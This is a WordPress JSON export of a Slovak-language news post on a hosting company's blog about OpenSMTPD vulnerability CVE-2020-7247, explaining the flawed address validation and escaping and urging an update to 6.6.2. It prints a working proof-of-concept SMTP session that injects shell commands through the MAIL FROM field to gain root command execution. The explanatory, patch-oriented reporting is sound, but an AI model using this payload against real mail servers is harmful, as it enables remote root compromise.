{"id":55807,"date":"2020-01-29T00:00:00","date_gmt":"2020-01-28T21:00:00","guid":{"rendered":"https:\/\/prohoster.info\/blog\/blog_prohoster\/uyazvimost-v-opensmtpd-pozvolyayushhaya-udalyonno-vypolnit-kod-s-pravami-root"},"modified":"2020-02-18T14:03:57","modified_gmt":"2020-02-18T11:03:57","slug":"uyazvimost-v-opensmtpd-pozvolyayushhaya-udalyonno-vypolnit-kod-s-pravami-root","status":"publish","type":"post","link":"https:\/\/prohoster.info\/sk\/blog\/news\/uyazvimost-v-opensmtpd-pozvolyayushhaya-udalyonno-vypolnit-kod-s-pravami-root","title":{"rendered":"Zranite\u013enos\u0165 v OpenSMTPD, ktor\u00e1 umo\u017e\u0148uje vzdialen\u00e9 vykonanie k\u00f3du s pr\u00e1vami root","gt_translate_keys":[{"key":"rendered","format":"text"}]},"content":{"rendered":"<p>V rozv\u00edjanom projekte OpenBSD po\u0161tovom serveri <noindex><a rel=\"nofollow\" href=\"https:\/\/opensmtpd.org\/\">OpenSMTPD<\/a><\/noindex> bola zisten\u00e1 <noindex><a rel=\"nofollow\" href=\"https:\/\/www.openwall.com\/lists\/oss-security\/2020\/01\/28\/3\">kritick\u00e1 zranite\u013enos\u0165<\/a><\/noindex> (CVE-2020-7247), ktor\u00e1 umo\u017e\u0148uje vzdialene vykon\u00e1va\u0165 shell pr\u00edkazy na serveri s pr\u00e1vami pou\u017e\u00edvate\u013ea root. Zranite\u013enos\u0165 bola zisten\u00e1 po\u010das op\u00e4tovn\u00e9ho auditu, ktor\u00fd vykonala spolo\u010dnos\u0165 Qualys Security (predch\u00e1dzaj\u00faci audit OpenSMTPD <noindex><a rel=\"nofollow\" href=\"https:\/\/www.opennet.ru\/opennews\/art.shtml?num=43090\">sa uskuto\u010dnil<\/a><\/noindex> v roku 2015, a nov\u00e1 zranite\u013enos\u0165 je pr\u00edtomn\u00e1 od m\u00e1ja 2018). Probl\u00e9m <noindex><a rel=\"nofollow\" href=\"https:\/\/www.mail-archive.com\/misc@opensmtpd.org\/msg04850.html\">bola odstr\u00e1nen\u00e1<\/a><\/noindex> v vydan\u00ed OpenSMTPD 6.6.2. V\u0161etk\u00fdm pou\u017e\u00edvate\u013eom sa odpor\u00fa\u010da naliehavo nain\u0161talova\u0165 aktualiz\u00e1ciu (pre OpenBSD je oprava k dispoz\u00edcii cez syspatch).<\/p>\n<p>Boli navrhnut\u00e9 dve varianty \u00fatoku. Prv\u00fd variant funguje v predvolenej konfigur\u00e1cii OpenSMTPD (prij\u00edmanie po\u017eiadaviek iba z localhostu) a umo\u017e\u0148uje lok\u00e1lne zneu\u017eitie probl\u00e9mu, ke\u010f m\u00e1 \u00fato\u010dn\u00edk mo\u017enos\u0165 pristupova\u0165 k lok\u00e1lnemu sie\u0165ov\u00e9mu rozhraniu (loopback) na serveri (napr\u00edklad na hostingov\u00fdch syst\u00e9moch). Druh\u00fd variant sa prejav\u00ed v pr\u00edpade, \u017ee je OpenSMTPD nastaven\u00fd na prij\u00edmanie vonkaj\u0161\u00edch sie\u0165ov\u00fdch po\u017eiadaviek (po\u0161tov\u00fd server prij\u00edmaj\u00faci extern\u00fa po\u0161tu). V\u00fdskumn\u00edci pripravili prototyp exploit, ktor\u00fd \u00faspe\u0161ne funguje ako s variantom OpenSMTPD zo s\u00fa\u010das\u0165ou OpenBSD 6.6, tak aj s prenosnou verziou pre in\u00e9 opera\u010dn\u00e9 syst\u00e9my (vykonan\u00e9 v Debian Testing).<\/p>\n<p>Probl\u00e9m je sp\u00f4soben\u00fd chybou v funkcii smtp_mailaddr(), ktor\u00e1 sa vol\u00e1 na overenie spr\u00e1vnosti hodn\u00f4t v poliach &#171;MAIL FROM&#187; a &#171;RCPT TO&#187;, ur\u010duj\u00facich odosielate\u013ea\/prij\u00edmate\u013ea a pren\u00e1\u0161an\u00fdch po\u010das pripojenia k po\u0161tov\u00e9mu serveru. Na overenie \u010dasti po\u0161tovej adresy, ktor\u00e1 je pred znakom &#171;@&#187;, sa v smtp_mailaddr() vol\u00e1 funkcia<br \/>\nvalid_localpart(), ktor\u00e1 pova\u017euje za platn\u00e9 (MAILADDR_ALLOWED) znaky &#171;!#$%&#038;&#8217;*\\\/ ?^`{|}~+-=_&#187;, v s\u00falade s po\u017eiadavkami RFC 5322. <\/p>\n<p>Pri tom sa priame escapovanie re\u0165azca vykon\u00e1va vo funkcii mda_expand_token(), ktor\u00e1 nahr\u00e1dza len znaky &#171;!#$%&#038;&#8217;*?`{|}~&#187; (MAILADDR_ESCAPE). N\u00e1sledne sa re\u0165azec pripraven\u00fd v mda_expand_token() pou\u017e\u00edva pri vyvol\u00e1van\u00ed agenta doru\u010denia (MDA) pomocou pr\u00edkazu &#8216;execle(&#171;\\\/bin\\\/sh&#187;, &#171;\\\/bin\\\/sh&#187;, &#171;-c&#187;,  mda_command,&#8230;&#8217;. V pr\u00edpade zaslania e-mailu do mbox cez \\\/bin\\\/sh sa spust\u00ed re\u0165azec &#171;\\\/usr\\\/libexec\\\/mail.local -f %%{mbox.from} %%{user.username}&#187;, pri\u010dom hodnota &#171;%{mbox.from}&#187; obsahuje escapovan\u00e9 \u00fadaje z parametra &#171;MAIL FROM&#187;.<\/p>\n<p>Podstata zranite\u013enosti spo\u010d\u00edva v tom, \u017ee smtp_mailaddr() m\u00e1 logick\u00fa chybu, kv\u00f4li ktorej v pr\u00edpade zadan\u00ed pr\u00e1zdneho dom\u00e9ny v e-maile funkcia vracia \u00faspe\u0161n\u00fd k\u00f3d overenia, aj ke\u010f \u010das\u0165 adresy pred &#171;@&#187; obsahuje neplatn\u00e9 znaky. \u010ealej, pri pr\u00edprave re\u0165azca funkciou mda_expand_token() sa escapuj\u00fa nie v\u0161etky mo\u017en\u00e9 \u0161peci\u00e1lne znaky shellu, ale len \u0161peci\u00e1lne znaky platn\u00e9 v po\u0161tovej adrese. Tak je na spustenie svojej pr\u00edkazu sta\u010d\u00ed pou\u017ei\u0165 v lok\u00e1lnej \u010dasti e-mailu znak &#171;;&#187; a medzeru, ktor\u00e9 nepatria do s\u00fapravy MAILADDR_ESCAPE a nie s\u00fa escapovan\u00e9. Napr\u00edklad:<\/p>\n<p>   $ nc 127.0.0.1 25<\/p>\n<p>   HELO professor.falken<br \/>\n   MAIL FROM:&lt;;sleep 66;&gt;<br \/>\n   RCPT TO:&lt;root&gt;<br \/>\n   DATA<br \/>\n   .<br \/>\n   QUIT<\/p>\n<p>Po tomto seden\u00ed OpenSMTPD pri dod\u00e1van\u00ed do mbox spust\u00ed cez shell pr\u00edkaz <\/p>\n<p>   \/usr\/libexec\/mail.local -f ;sleep 66; root<\/p>\n<p>Pri tom s\u00fa mo\u017enosti \u00fatoku obmedzen\u00e9 t\u00fdm, \u017ee lok\u00e1lna \u010das\u0165 adresy nem\u00f4\u017ee presiahnu\u0165 64 znakov, a \u0161peci\u00e1lne znaky &#8216;$&#8217; a &#8216;|&#8217; s\u00fa pri escapovan\u00ed nahraden\u00e9 za &#171;:&#187;. Na ob\u00eddenie tohto obmedzenia sa vyu\u017e\u00edva fakt, \u017ee telo e-mailu sa pren\u00e1\u0161a po spusten\u00ed \\\/usr\\\/libexec\\\/mail.local cez vstupn\u00fd tok, t.j. pomocou manipul\u00e1ci\u00ed s adresou je mo\u017en\u00e9 spusti\u0165 iba pr\u00edkazov\u00fd interpret\u00e1tor sh a vyu\u017ei\u0165 telo e-mailu ako s\u00fabor in\u0161trukci\u00ed. Ke\u010f\u017ee na za\u010diatku e-mailu s\u00fa uveden\u00e9 servisn\u00e9 SMTP hlavi\u010dky, na ich presko\u010denie sa navrhuje pou\u017ei\u0165 v\u00fdzvu pr\u00edkazu read v slu\u010dke. Pracuj\u00faci exploit nadob\u00fada pribli\u017ene tak\u00fdto vzh\u013ead:<\/p>\n<p>   $ nc 192.168.56.143 25<\/p>\n<p>   HELO professor.falken<br \/>\n   MAIL FROM:&lt;;for i in 0 1 2 3 4 5 6 7 8 9 a b c d;do read r;done;sh;exit 0;&gt;<br \/>\n   RCPT TO:&lt;root@example.org&gt;<br \/>\n   DATA<br \/>\n   #0<br \/>\n   #1<br \/>\n   \u2026<br \/>\n   #d<br \/>\n   for i in W O P R; do<br \/>\n        echo -n &#171;($i) &#187; &#038;&#038; id || break<br \/>\n   done &gt; \\\/root\\\/x.&#187;`id -u`&#187;.&#187;$$&#187;<br \/>\n   .<br \/>\n   QUIT<\/p>\n<p><noindex><a rel=\"nofollow\" name=\"link\"><\/a><\/noindex><\/p>\n<p>Zdroj: <a \ncontent=\"nofollow\" rel=\"nofollow\" href=\"https:\/\/www.opennet.ru\/opennews\/art.shtml?num=52267\">opennet.ru<\/a><\/p>","protected":false,"gt_translate_keys":[{"key":"rendered","format":"html"}]},"excerpt":{"rendered":"<p>\u0412 \u0440\u0430\u0437\u0432\u0438\u0432\u0430\u0435\u043c\u043e\u043c \u043f\u0440\u043e\u0435\u043a\u0442\u043e\u043c OpenBSD \u043f\u043e\u0447\u0442\u043e\u0432\u043e\u043c \u0441\u0435\u0440\u0432\u0435\u0440\u0435 OpenSMTPD \u0432\u044b\u044f\u0432\u043b\u0435\u043d\u0430 \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0430\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c (CVE-2020-7247), \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0449\u0430\u044f \u0443\u0434\u0430\u043b\u0451\u043d\u043d\u043e \u0432\u044b\u043f\u043e\u043b\u043d\u0438\u0442\u044c shell-\u043a\u043e\u043c\u0430\u043d\u0434\u044b \u043d\u0430 \u0441\u0435\u0440\u0432\u0435\u0440\u0435 \u0441 \u043f\u0440\u0430\u0432\u0430\u043c\u0438 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f root. \u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432\u044b\u044f\u0432\u043b\u0435\u043d\u0430 \u0432 \u0445\u043e\u0434\u0435 \u043f\u043e\u0432\u0442\u043e\u0440\u043d\u043e\u0433\u043e \u0430\u0443\u0434\u0438\u0442\u0430, \u043f\u0440\u043e\u0432\u0435\u0434\u0451\u043d\u043d\u043e\u0433\u043e \u043a\u043e\u043c\u043f\u0430\u043d\u0438\u0435\u0439 Qualys Security (\u043f\u0440\u043e\u0448\u043b\u044b\u0439 \u0430\u0443\u0434\u0438\u0442 OpenSMTPD \u043f\u0440\u043e\u0432\u043e\u0434\u0438\u043b\u0441\u044f \u0432 2015 \u0433\u043e\u0434\u0443, \u0430 \u043d\u043e\u0432\u0430\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u043f\u0440\u0438\u0441\u0443\u0442\u0441\u0442\u0432\u0443\u0435\u0442 \u0441 \u043c\u0430\u044f 2018 \u0433\u043e\u0434\u0430). \u041f\u0440\u043e\u0431\u043b\u0435\u043c\u0430 \u0443\u0441\u0442\u0440\u0430\u043d\u0435\u043d\u0430 \u0432 \u0432\u044b\u043f\u0443\u0441\u043a\u0435 OpenSMTPD 6.6.2. \u0412\u0441\u0435\u043c \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f\u043c \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0443\u0435\u0442\u0441\u044f [&hellip;]<\/p>\n","protected":false,"gt_translate_keys":[{"key":"rendered","format":"html"}]},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[702],"tags":[],"class_list":["post-55807","post","type-post","status-publish","format-standard","hentry","category-news"],"aioseo_notices":[],"aioseo_head":"\n\t\t<!-- All in One SEO 5.0.4 - aioseo.com -->\n\t<meta name=\"description\" content=\"\u0412 \u0440\u0430\u0437\u0432\u0438\u0432\u0430\u0435\u043c\u043e\u043c \u043f\u0440\u043e\u0435\u043a\u0442\u043e\u043c OpenBSD \u043f\u043e\u0447\u0442\u043e\u0432\u043e\u043c \u0441\u0435\u0440\u0432\u0435\u0440\u0435 OpenSMTPD \u0432\u044b\u044f\u0432\u043b\u0435\u043d\u0430\" \/>\n\t<meta name=\"robots\" content=\"max-image-preview:large\" \/>\n\t<meta name=\"author\" content=\"Yuri Gagarin\"\/>\n\t<link rel=\"canonical\" href=\"https:\/\/prohoster.info\/sk\/blog\/news\/uyazvimost-v-opensmtpd-pozvolyayushhaya-udalyonno-vypolnit-kod-s-pravami-root\" \/>\n\t\t<meta name=\"generator\" content=\"All in One SEO (AIOSEO) 5.0.4\" \/>\n\t\t<meta property=\"og:locale\" content=\"sk_SK\" \/>\n\t\t<meta property=\"og:site_name\" content=\"ProHoster | \u041a\u0443\u043f\u0438\u0442\u044c \u043d\u0430\u0434\u0435\u0436\u043d\u044b\u0439 \u0445\u043e\u0441\u0442\u0438\u043d\u0433 \u0434\u043b\u044f \u0441\u0430\u0439\u0442\u043e\u0432 \u0441 \u0437\u0430\u0449\u0438\u0442\u043e\u0439 \u043e\u0442 DDoS, VPS VDS \u0441\u0435\u0440\u0432\u0435\u0440\u044b\" \/>\n\t\t<meta property=\"og:type\" content=\"article\" \/>\n\t\t<meta property=\"og:title\" content=\"\ud83e\udd47\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432 OpenSMTPD, \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0449\u0430\u044f \u0443\u0434\u0430\u043b\u0451\u043d\u043d\u043e \u0432\u044b\u043f\u043e\u043b\u043d\u0438\u0442\u044c \u043a\u043e\u0434 \u0441 \u043f\u0440\u0430\u0432\u0430\u043c\u0438 root | ProHoster\" \/>\n\t\t<meta property=\"og:description\" content=\"\u0412 \u0440\u0430\u0437\u0432\u0438\u0432\u0430\u0435\u043c\u043e\u043c \u043f\u0440\u043e\u0435\u043a\u0442\u043e\u043c OpenBSD \u043f\u043e\u0447\u0442\u043e\u0432\u043e\u043c \u0441\u0435\u0440\u0432\u0435\u0440\u0435 OpenSMTPD \u0432\u044b\u044f\u0432\u043b\u0435\u043d\u0430\" \/>\n\t\t<meta property=\"og:url\" content=\"https:\/\/prohoster.info\/sk\/blog\/news\/uyazvimost-v-opensmtpd-pozvolyayushhaya-udalyonno-vypolnit-kod-s-pravami-root\" \/>\n\t\t<meta property=\"og:image\" content=\"https:\/\/prohoster.info\/wp-content\/uploads\/2021\/11\/logo-350.jpg\" \/>\n\t\t<meta property=\"og:image:secure_url\" content=\"https:\/\/prohoster.info\/wp-content\/uploads\/2021\/11\/logo-350.jpg\" \/>\n\t\t<meta property=\"og:image:width\" content=\"350\" \/>\n\t\t<meta property=\"og:image:height\" content=\"350\" \/>\n\t\t<meta property=\"article:published_time\" content=\"2020-01-28T21:00:00+00:00\" \/>\n\t\t<meta property=\"article:modified_time\" content=\"2020-02-18T11:03:57+00:00\" \/>\n\t\t<meta property=\"article:publisher\" content=\"https:\/\/www.facebook.com\/prohoster\" \/>\n\t\t<meta property=\"article:author\" content=\"https:\/\/www.facebook.com\/prohoster\" \/>\n\t\t<!-- All in One SEO -->\n\n","aioseo_head_json":{"title":"\ud83e\udd47Zranite\u013enos\u0165 v OpenSMTPD, ktor\u00e1 umo\u017e\u0148uje vzdialen\u00e9 spustenie k\u00f3du s pr\u00e1vami root | ProHoster","description":"Vo vyv\u00edjanom projekte OpenBSD sa na e-mailovom serveri OpenSMTPD odhalila","canonical_url":"https:\/\/prohoster.info\/sk\/blog\/news\/uyazvimost-v-opensmtpd-pozvolyayushhaya-udalyonno-vypolnit-kod-s-pravami-root","robots":"max-image-preview:large","keywords":"","webmasterTools":{"miscellaneous":""},"schema":null,"og:locale":"sk_SK","og:site_name":"ProHoster | \u041a\u0443\u043f\u0438\u0442\u044c \u043d\u0430\u0434\u0435\u0436\u043d\u044b\u0439 \u0445\u043e\u0441\u0442\u0438\u043d\u0433 \u0434\u043b\u044f \u0441\u0430\u0439\u0442\u043e\u0432 \u0441 \u0437\u0430\u0449\u0438\u0442\u043e\u0439 \u043e\u0442 DDoS, VPS VDS \u0441\u0435\u0440\u0432\u0435\u0440\u044b","og:type":"article","og:title":"\ud83e\udd47\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432 OpenSMTPD, \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0449\u0430\u044f \u0443\u0434\u0430\u043b\u0451\u043d\u043d\u043e \u0432\u044b\u043f\u043e\u043b\u043d\u0438\u0442\u044c \u043a\u043e\u0434 \u0441 \u043f\u0440\u0430\u0432\u0430\u043c\u0438 root | ProHoster","og:description":"\u0412 \u0440\u0430\u0437\u0432\u0438\u0432\u0430\u0435\u043c\u043e\u043c \u043f\u0440\u043e\u0435\u043a\u0442\u043e\u043c OpenBSD \u043f\u043e\u0447\u0442\u043e\u0432\u043e\u043c \u0441\u0435\u0440\u0432\u0435\u0440\u0435 OpenSMTPD \u0432\u044b\u044f\u0432\u043b\u0435\u043d\u0430","og:url":"https:\/\/prohoster.info\/sk\/blog\/news\/uyazvimost-v-opensmtpd-pozvolyayushhaya-udalyonno-vypolnit-kod-s-pravami-root","og:image":"https:\/\/prohoster.info\/wp-content\/uploads\/2021\/11\/logo-350.jpg","og:image:secure_url":"https:\/\/prohoster.info\/wp-content\/uploads\/2021\/11\/logo-350.jpg","og:image:width":350,"og:image:height":350,"article:published_time":"2020-01-28T21:00:00+00:00","article:modified_time":"2020-02-18T11:03:57+00:00","article:publisher":"https:\/\/www.facebook.com\/prohoster","article:author":"https:\/\/www.facebook.com\/prohoster"},"aioseo_meta_data":{"post_id":"55807","title":null,"description":null,"keywords":null,"keyphrases":null,"primary_term":null,"canonical_url":null,"og_title":null,"og_description":null,"og_object_type":"default","og_image_type":"default","og_image_url":null,"og_image_width":null,"og_image_height":null,"og_image_custom_url":null,"og_image_custom_fields":null,"og_video":null,"og_custom_url":null,"og_article_section":null,"og_article_tags":null,"twitter_use_og":false,"twitter_card":"default","twitter_image_type":"default","twitter_image_url":null,"twitter_image_custom_url":null,"twitter_image_custom_fields":null,"twitter_title":null,"twitter_description":null,"schema":{"blockGraphs":[],"customGraphs":[],"default":{"data":{"Article":[],"Course":[],"Dataset":[],"FAQPage":[],"Movie":[],"Person":[],"Product":[],"ProductReview":[],"Car":[],"Recipe":[],"Service":[],"SoftwareApplication":[],"WebPage":[]},"graphName":"","isEnabled":true},"graphs":[]},"schema_type":null,"schema_type_options":null,"pillar_content":false,"robots_default":true,"robots_noindex":false,"robots_noarchive":false,"robots_nosnippet":false,"robots_nofollow":false,"robots_noimageindex":false,"robots_noodp":false,"robots_notranslate":false,"robots_max_snippet":null,"robots_max_videopreview":null,"robots_max_imagepreview":"large","priority":null,"frequency":null,"local_seo":null,"seo_analyzer_scan_date":null,"breadcrumb_settings":null,"limit_modified_date":false,"reviewed_by":null,"ai":null,"created":"2021-02-28 19:36:30","updated":"2022-10-09 15:09:19","focus_keyword":null,"additional_keywords":null,"truseo_locale":null},"gt_translate_keys":[{"key":"link","format":"url"}],"_links":{"self":[{"href":"https:\/\/prohoster.info\/sk\/wp-json\/wp\/v2\/posts\/55807","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/prohoster.info\/sk\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/prohoster.info\/sk\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/prohoster.info\/sk\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/prohoster.info\/sk\/wp-json\/wp\/v2\/comments?post=55807"}],"version-history":[{"count":0,"href":"https:\/\/prohoster.info\/sk\/wp-json\/wp\/v2\/posts\/55807\/revisions"}],"wp:attachment":[{"href":"https:\/\/prohoster.info\/sk\/wp-json\/wp\/v2\/media?parent=55807"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/prohoster.info\/sk\/wp-json\/wp\/v2\/categories?post=55807"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/prohoster.info\/sk\/wp-json\/wp\/v2\/tags?post=55807"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}